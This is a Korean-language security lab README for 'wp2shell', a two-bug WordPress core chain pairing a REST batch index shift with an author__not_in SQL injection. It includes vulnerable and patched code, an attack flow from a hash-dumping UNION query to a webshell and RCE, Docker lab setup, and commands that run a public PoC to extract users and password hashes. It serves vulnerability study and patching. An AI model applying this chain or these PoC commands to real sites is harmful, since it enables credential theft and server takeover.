
wp2shell (CVE-2026-63030 & CVE-2026-60137) - 완전한 RCE 체인
wp2shell은 WordPress 코어에 있는 개별적으로는 낮은 심각도의 두 버그를 연결한 공격 체인으로, 결합 시 인증되지 않은 원격 공격자가 다음을 수행할 수 있게 합니다:
| 속성 | 세부 정보 |
|---|---|
| CVE | CVE-2026-63030 + CVE-2026-60137 |
| CVSS | 9.8 치명적(Critical) |
| 인증 필요 | 없음(인증 전) |
| 공격 벡터 | 네트워크 |
| 영향받는 버전 | WordPress 6.9.0–6.9.4 및 7.0.0–7.0.1 |
| 패치된 버전 | 6.9.5 및 7.0.2(2026년 7월 17일 출시) |
파일: wp-includes/rest-api/class-wp-rest-server.php
serve_batch_request_v1()은 핸들러용 $matches[] 배열과 결과용 $validation[] 배열, 두 개의 병렬 배열을 유지합니다. 하위 요청이 WP_Error(깨진 경로)로 실패하면 해당 항목은 $validation[]에는 푸시되지만 $matches[]에는 푸시되지 않습니다. 이로 인해 +1 인덱스 시프트가 발생하여 하위 요청 i가 하위 요청 i+1의 핸들러로 디스패치됩니다.
// VULNERABLE (7.0.1)
if ( is_wp_error( $route ) ) {
$responses[] = envelope();
continue; // $matches[] NOT pushed ← BUG
}
// PATCHED (7.0.2)
if ( is_wp_error( $route ) ) {
$matches[] = null; // ← FIX: keeps arrays in sync
$responses[] = envelope();
continue;
}
파일: wp-includes/class-wp-query.php
author__not_in 매개변수는 정수 배열을 기대합니다. 문자열이 전달되면 implode()가 원시 값을 SQL WHERE 절에 직접 연결합니다 — 이스케이프나 매개변수화가 전혀 없습니다.
// VULNERABLE (7.0.1)
$where .= ' NOT IN (' . implode(',', $q['author__not_in']) . ')';
// PATCHED (7.0.2)
$safe = implode(',', array_map('absint', (array) $q['author__not_in']));
$where .= " NOT IN ($safe)";
Unauthenticated Attacker
│
▼
POST /?rest_route=/batch/v1 ← Outer batch
sub-req 0: "///" → WP_Error → index shift (+1)
sub-req 1: POST /wp/v2/posts ← dispatched under BATCH handler
sub-req 2: POST /batch/v1 ← dummy
│
│ [Confusion #1 active]
▼
Inner batch (body of sub-req 1) ← schema never validated
inner 0: "///" → index shift (+1)
inner 1: GET /wp/v2/posts?author_exclude=<PAYLOAD>
dispatched under posts get_items()
│
│ [Confusion #2 active]
▼
WP_Query: author__not_in = raw string
│
▼
SQL: NOT IN (0) UNION SELECT 999999,...,HEX(user_pass),...
│
▼
title.rendered = "||1|admin|$wp$2y$10$...<hash>...||"
│
▼
Crack hash OR crack-free oEmbed technique
│
▼
POST /wp/v2/users → new admin → plugin upload → webshell → RCE
| 도구 | 다운로드 |
|---|---|
| Docker Desktop (Windows / macOS) | https://www.docker.com/products/docker-desktop |
| Docker Engine (Linux) | https://docs.docker.com/engine/install |
| Git | https://git-scm.com/downloads |
| Burp Suite Community (선택 사항) | https://portswigger.net/burp/communitydownload |
git clone https://github.com/YOUR_USERNAME/cve-2026-63030-lab
cd cve-2026-63030-lab
다음과 같은 파일이 표시됩니다:
cve-2026-63030-lab/
├── docker-compose.yml ← defines WordPress + MySQL containers
├── Dockerfile ← custom image with Apache fix + wp-cli
├── init.sh ← configures permalink after install
└── fix-htaccess.ps1 ← Windows helper (run if Apache returns 404)
docker compose up -d --build
이 명령은 다음 작업을 수행합니다:
두 컨테이너가 모두 실행 중인지 확인하세요:
docker compose ps
예상 출력:
NAME STATUS
wp2shell-lab running
wp2shell-db running
브라우저에서 **http://localhost:9090**을 열고 다음 항목을 입력하세요:
| 필드 | 권장 값 |
|---|---|
| 사이트 제목 | CVE-2026-63030 |
| 사용자 이름 | admin |
| 비밀번호 | 아무 비밀번호나 |
| 이메일 | [email protected] |
WordPress 설치를 클릭한 다음 로그인합니다.
설치 후 이 명령을 한 번 실행하세요:
Linux / macOS:
docker exec wp2shell-lab bash -c "
wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html &&
wp rewrite flush --allow-root --path=/var/www/html
"
Windows PowerShell:
docker exec wp2shell-lab bash -c "wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html && wp rewrite flush --allow-root --path=/var/www/html"
예상 출력:
Success: Rewrite structure set.
Success: Rewrite rules flushed.
.\fix-htaccess.ps1
curl -s http://localhost:9090/wp-json/ | python3 -m json.tool | head -5
"namespaces"가 포함된 JSON 응답이 표시되면 실습 환경이 준비된 것입니다.
# Stop and remove everything including database
docker compose down -v
⚠️ 승인된 보안 연구 및 교육 목적으로만 사용하세요. 소유한 시스템이거나 명시적인 서면 허가를 받은 시스템에만 사용하세요.
전체 익스플로잇 체인(탐지 → SQLi → 관리자 생성 → 웹셸 → RCE)은 다음에 구현되어 있습니다:
git clone https://github.com/Icex0/wp2shell-poc
cd wp2shell-poc
pip install -r requirements.txt
# Step 1: Detection only (non-destructive)
python wp2shell.py check http://localhost:9090
# Step 2: Read database — extract users and hashes
python wp2shell.py read --preset users http://localhost:9090
PHP 10줄 미만의 파일 3개:
| 파일 | 변경 사항 |
|---|---|
class-wp-rest-server.php | 배열 동기화를 위한 $matches[] = null 자리 표시자 |
class-wp-query.php | (array) 캐스트 + array_map('absint', ...) |
class-wp-rest-posts-controller.php | REST 레이어에서 동일한 살균 처리 |
해결하려면 WordPress 6.9.5 또는 7.0.2로 업데이트하세요.
| 리소스 | 링크 |
|---|---|
| GitHub 보안 권고(CVE-2026-63030) | GHSA-ff9f-jf42-662q |
| GitHub 보안 권고(CVE-2026-60137) | GHSA-fpp7-x2x2-2mjf |
| 공개 PoC | https://github.com/Icex0/wp2shell-poc |
**Black Security Team**이 ❤️로 제작했습니다
이 리포지토리는 교육 목적 및 승인된 보안 연구 전용입니다. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템을 테스트하지 마세요.